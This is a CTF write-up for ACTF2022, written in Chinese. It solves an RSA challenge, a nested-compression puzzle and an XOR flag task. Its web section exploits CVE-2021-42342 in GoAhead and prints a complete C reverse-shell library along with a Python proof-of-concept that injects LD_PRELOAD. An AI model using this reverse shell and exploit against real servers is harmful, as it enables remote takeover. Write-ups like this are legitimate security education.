ACTF2022 Writeup

2022-6-27 CTFWriteupWebMiscCryptoACTF2022

期末复习不下去,所以上个号打一会。


# Crypto

# impossible RSA

Impossible

给出了密文和公钥,以及加密脚本

from Crypto.Util.number import *
from Crypto.PublicKey import RSA

e = 65537
flag = b'ACTF{...}'

while True:
    p = getPrime(1024)
    q = inverse(e, p)
    if not isPrime(q):
        continue
    n = p * q;
    public = RSA.construct((n, e))
    with open("public.pem", "wb") as file:
        file.write(public.exportKey('PEM'))
    with open("flag", "wb") as file:
        file.write(long_to_bytes(pow(bytes_to_long(flag), e, n)))
    break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

已知q = inverse(e, p),即

这里可以知道 小于 ,两边同时乘以 ,得

利用求根公式得

这里很明显取正数,然后遍历 ,如果能开方即可

from Crypto.PublicKey import RSA
import libnum
import gmpy2

key = RSA.importKey(open('public.pem').read())
n = key.n
e = key.e

with open("flag", "rb") as f:
    c = libnum.s2n(f.read())

for k in range(e):
    sqrt = gmpy2.iroot(1+4*e*k*n, 2)
    if sqrt[1] == True:
        try:
            q = (1+sqrt[0])//(2*e)
            p = n//q
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e, phi)
            m = pow(c, d, n)
            print(libnum.n2s(int(m)))
        except:
            continue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ACTF{F1nD1nG_5pEcia1_n_i5_nOt_eA5y}
1

# Misc

# signin

signin challenge, solve it fast

根据文件头进行相应地解压

import bz2
import lzma
import gzip
import zstandard
import shutil

filename = ["flag", "flag1"]
tag = 0

def my_bz2(input_file, output_file):
    with open(input_file, "rb") as f:
        with open(output_file, "wb") as g:
            g.write(bz2.decompress(f.read()))

def my_xz(input_file, output_file):
    with lzma.open(input_file, 'rb') as f:
        with open(output_file, 'wb') as g:
            shutil.copyfileobj(f, g)

def my_lzma(input_file, output_file):
    with lzma.open(input_file, 'rb') as f:
        with open(output_file, 'wb') as g:
            shutil.copyfileobj(f, g)

def my_gzip(input_file, output_file):
    with gzip.open(input_file, 'rb') as f:
        with open(output_file, 'wb') as g:
            shutil.copyfileobj(f, g)

def my_zstandard(input_file, output_file):
    dctx = zstandard.ZstdDecompressor()
    with open(input_file, "rb") as f:
        with open(output_file, "wb") as g:
            dctx.copy_stream(f, g)


while True:
    with open(filename[tag], "rb") as f:
        r = f.read()
    if r[:5] == b"\x42\x5A\x68\x39\x31":
        print("bz2")
        my_bz2(filename[tag], filename[(tag+1)%2])
    elif r[:5] == b"\xFD\x37\x7A\x58\x5A":
        print("xz")
        my_xz(filename[tag], filename[(tag+1)%2])
    elif r[:5] == b"\x5D\x00\x00\x80\x00":
        print("lzma")
        my_lzma(filename[tag], filename[(tag+1)%2])
    elif r[:3] == b"\x1F\x8B\x08":
        print("gzip")
        my_gzip(filename[tag], filename[(tag+1)%2])
    elif r[:4] == b"\x28\xB5\x2F\xFD":
        print("zstandard")
        my_zstandard(filename[tag], filename[(tag+1)%2])
    else:
        print("filename:" + filename[tag])
        print(r)
        break
    tag = (tag+1)%2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

ACTF{r0cK_4Nd_rolL_1n_C0mpr33s1ng_aNd_uNCOmrEs5iNg}
1

# Mahjoong

“zraxx: The essence of Japanese Mahjoong is defense.

immortal: Yakuman! Yakuman! Yakuman!”

121.37.133.172:10011

159.138.145.129:10011

hule.js中找到如下代码

a = [240,188,218,205,188,154,138,200,207,33,26,246,30,136,124,38,241,178,193,127,163,161,72,140,187,16,19];
b = [177, 255, 142, 139, 199, 227, 202, 163, 186, 76, 91, 152, 65, 185, 15, 121, 152, 220, 162, 13, 198, 197, 36, 191, 215, 117, 110];

for i, j in zip(a, b):
    print(chr(i^j), end="")
1
2
3
4
5
ACTF{y@kumAn_1s_incredl3le}
1

# Web

# gogogo

ACTF warmup

http://123.60.84.229:10218

docker retstart every 10 minutes!

查看Dockerfile

wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
1

下载源码,之后参考:CVE-2021-42342 GoAhead 远程命令执行漏洞深入分析与复现_黑客技术 (hackdig.com) (opens new window)

编写hack.c

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="127.0.0.1";
uint32_t server_port=7777;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
    //socket initialize
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    //connect to the server
    if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
        exit(0);
    //dup the socket to stdin, stdout and stderr
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    //execute /bin/sh to get a shell
    execve("/bin/bash", 0, 0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

IP和端口改成自己的,然后进行编译

gcc -s -shared -fPIC ./hack.c -o hack.so
1

使用这个脚本执行payload:vulhub/poc.py at master · vulhub/vulhub · GitHub (opens new window)

import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult

PAYLOAD_MAX_LENGTH = 16384 - 200


def exploit(client, parts: ParseResult, payload: bytes):
    path = '/' if not parts.path else parts.path
    boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
    padding = 'a' * 2000
    content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
    data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}

--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";

/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain

#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
    data = data.encode().replace(b'#payload#', payload)
    client.send(data)
    resp = client.recv(20480)
    print(resp.decode())


def main():
    target = sys.argv[1]
    payload_filename = sys.argv[2]

    with open(payload_filename, 'rb') as f:
        data = f.read()

    if len(data) > PAYLOAD_MAX_LENGTH:
        raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)

    parts = urlparse(target)
    port = parts.port
    if not parts.port:
        if parts.scheme == 'https':
            port = 443
        else:
            port = 80

    context = ssl.create_default_context()
    with socket.create_connection((parts.hostname, port), timeout=8) as client:
        if parts.scheme == 'https':
            with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
                exploit(ssock, parts, data)

        else:
            exploit(client, parts, data)


if __name__ == '__main__':
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

同时监听端口即可getshell

ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}
1